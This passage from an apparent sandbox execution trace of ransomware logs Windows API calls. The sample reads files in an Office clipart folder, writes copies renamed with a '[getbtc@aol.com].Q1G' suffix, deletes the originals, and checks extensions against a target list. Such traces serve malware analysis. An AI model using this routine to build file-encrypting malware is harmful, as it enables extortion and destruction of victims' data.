lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.624] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0256.832] GetLastError () returned 0x0 [0256.832] ReadFile (in: hFile=0x3c8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1210, lpOverlapped=0x0) returned 1 [0256.833] WriteFile (in: hFile=0x3d8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1220, lpOverlapped=0x0) returned 1 [0256.834] ReadFile (in: hFile=0x3c8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.834] WriteFile (in: hFile=0x3d8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.834] SetEndOfFile (hFile=0x3d8) returned 1 [0257.006] CloseHandle (hObject=0x3d8) returned 1 [0257.006] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.006] SetEndOfFile (hFile=0x3c8) returned 1 [0257.009] CloseHandle (hObject=0x3c8) returned 1 [0257.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf")) returned 1 [0257.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0257.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0257.111] lstrlenW (lpString=".doc") returned 4 [0257.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.111] lstrlenW (lpString=".docx") returned 5 [0257.111] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.111] lstrlenW (lpString=".pdf") returned 4 [0257.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.111] lstrlenW (lpString=".xls") returned 4 [0257.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.111] lstrlenW (lpString=".xlsx") returned 5 [0257.111] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.111] lstrlenW (lpString=".ppt") returned 4 [0257.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0257.111] lstrlenW (lpString=".zip") returned 4 [0257.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.111] lstrlenW (lpString=".rar") returned 4 [0257.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.111] lstrlenW (lpString=".bz2") returned 4 [0257.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.111] lstrlenW (lpString=".7z") returned 3 [0257.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0257.111] lstrlenW (lpString=".dbf") returned 4 [0257.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0257.111] lstrlenW (lpString=".1cd") returned 4 [0257.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0257.111] lstrlenW (lpString=".jpg") returned 4 [0257.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0257.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0257.111] lstrlenW (lpString=".doc") returned 4 [0257.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.111] lstrlenW (lpString=".docx") returned 5 [0257.112] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.112] lstrlenW (lpString=".pdf") returned 4 [0257.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.112] lstrlenW (lpString=".xls") returned 4 [0257.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.112] lstrlenW (lpString=".xlsx") returned 5 [0257.112] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.112] lstrlenW (lpString=".ppt") returned 4 [0257.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0257.112] lstrlenW (lpString=".zip") returned 4 [0257.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.112] lstrlenW (lpString=".rar") returned 4 [0257.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.112] lstrlenW (lpString=".bz2") returned 4 [0257.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.112] lstrlenW (lpString=".7z") returned 3 [0257.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0257.112] lstrlenW (lpString=".dbf") returned 4 [0257.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0257.112] lstrlenW (lpString=".1cd") returned 4 [0257.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0257.112] lstrlenW (lpString=".jpg") returned 4 [0257.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.112] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.112] lstrlenW (lpString="J0105396.WMF") returned 12 [0257.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0257.113] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=11012) returned 1 [0257.113] CloseHandle (hObject=0x20c) returned 1 [0257.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf")) returned 0x20 [0257.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0257.114] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.114] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0257.114] GetLastError () returned 0x0 [0257.115] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2b04, lpOverlapped=0x0) returned 1 [0257.182] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2b10, lpOverlapped=0x0) returned 1 [0257.183] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.183] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.184] SetEndOfFile (hFile=0x3c0) returned 1 [0257.184] CloseHandle (hObject=0x3c0) returned 1 [0257.184] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.184] SetEndOfFile (hFile=0x20c) returned 1 [0257.186] CloseHandle (hObject=0x20c) returned 1 [0257.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf")) returned 1 [0257.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0257.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0257.321] lstrlenW (lpString=".doc") returned 4 [0257.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.322] lstrlenW (lpString=".docx") returned 5 [0257.322] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0257.322] lstrlenW (lpString=".pdf") returned 4 [0257.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.322] lstrlenW (lpString=".xls") returned 4 [0257.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.322] lstrlenW (lpString=".xlsx") returned 5 [0257.322] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0257.322] lstrlenW (lpString=".ppt") returned 4 [0257.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0257.322] lstrlenW (lpString=".zip") returned 4 [0257.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.322] lstrlenW (lpString=".rar") returned 4 [0257.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.322] lstrlenW (lpString=".bz2") returned 4 [0257.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.322] lstrlenW (lpString=".7z") returned 3 [0257.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0257.322] lstrlenW (lpString=".dbf") returned 4 [0257.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0257.322] lstrlenW (lpString=".1cd") returned 4 [0257.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0257.322] lstrlenW (lpString=".jpg") returned 4 [0257.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0257.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0257.322] lstrlenW (lpString=".doc") returned 4 [0257.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.322] lstrlenW (lpString=".docx") returned 5 [0257.322] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0257.322] lstrlenW (lpString=".pdf") returned 4 [0257.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.323] lstrlenW (lpString=".xls") returned 4 [0257.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.323] lstrlenW (lpString=".xlsx") returned 5 [0257.323] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0257.323] lstrlenW (lpString=".ppt") returned 4 [0257.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0257.323] lstrlenW (lpString=".zip") returned 4 [0257.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.323] lstrlenW (lpString=".rar") returned 4 [0257.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.323] lstrlenW (lpString=".bz2") returned 4 [0257.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.323] lstrlenW (lpString=".7z") returned 3 [0257.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0257.323] lstrlenW (lpString=".dbf") returned 4 [0257.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0257.323] lstrlenW (lpString=".1cd") returned 4 [0257.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0257.323] lstrlenW (lpString=".jpg") returned 4 [0257.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.323] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.323] lstrlenW (lpString="J0105496.WMF") returned 12 [0257.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.324] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=5156) returned 1 [0257.324] CloseHandle (hObject=0x390) returned 1 [0257.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf")) returned 0x20 [0257.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.325] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.325] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.326] GetLastError () returned 0x0 [0257.326] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1424, lpOverlapped=0x0) returned 1 [0257.343] WriteFile (in: hFile=0x3e0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1430, lpOverlapped=0x0) returned 1 [0257.344] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.344] WriteFile (in: hFile=0x3e0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.344] SetEndOfFile (hFile=0x3e0) returned 1 [0257.344] CloseHandle (hObject=0x3e0) returned 1 [0257.344] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.344] SetEndOfFile (hFile=0x390) returned 1 [0257.346] CloseHandle (hObject=0x390) returned 1 [0257.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf")) returned 1 [0257.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0257.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0257.521] lstrlenW (lpString=".doc") returned 4 [0257.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.521] lstrlenW (lpString=".docx") returned 5 [0257.521] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0257.521] lstrlenW (lpString=".pdf") returned 4 [0257.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.522] lstrlenW (lpString=".xls") returned 4 [0257.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.522] lstrlenW (lpString=".xlsx") returned 5 [0257.522] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0257.522] lstrlenW (lpString=".ppt") returned 4 [0257.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0257.522] lstrlenW (lpString=".zip") returned 4 [0257.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.522] lstrlenW (lpString=".rar") returned 4 [0257.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.522] lstrlenW (lpString=".bz2") returned 4 [0257.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.522] lstrlenW (lpString=".7z") returned 3 [0257.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0257.522] lstrlenW (lpString=".dbf") returned 4 [0257.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0257.522] lstrlenW (lpString=".1cd") returned 4 [0257.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0257.522] lstrlenW (lpString=".jpg") returned 4 [0257.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0257.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0257.522] lstrlenW (lpString=".doc") returned 4 [0257.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.522] lstrlenW (lpString=".docx") returned 5 [0257.522] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0257.522] lstrlenW (lpString=".pdf") returned 4 [0257.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.522] lstrlenW (lpString=".xls") returned 4 [0257.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.522] lstrlenW (lpString=".xlsx") returned 5 [0257.523] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0257.523] lstrlenW (lpString=".ppt") returned 4 [0257.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0257.523] lstrlenW (lpString=".zip") returned 4 [0257.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.523] lstrlenW (lpString=".rar") returned 4 [0257.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.523] lstrlenW (lpString=".bz2") returned 4 [0257.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.523] lstrlenW (lpString=".7z") returned 3 [0257.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0257.523] lstrlenW (lpString=".dbf") returned 4 [0257.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0257.523] lstrlenW (lpString=".1cd") returned 4 [0257.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0257.523] lstrlenW (lpString=".jpg") returned 4 [0257.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.523] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.523] lstrlenW (lpString="J0105600.WMF") returned 12 [0257.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.612] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=8680) returned 1 [0257.612] CloseHandle (hObject=0x3e0) returned 1 [0257.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf")) returned 0x20 [0257.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.673] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.673] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0257.674] GetLastError () returned 0x0 [0257.674] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, 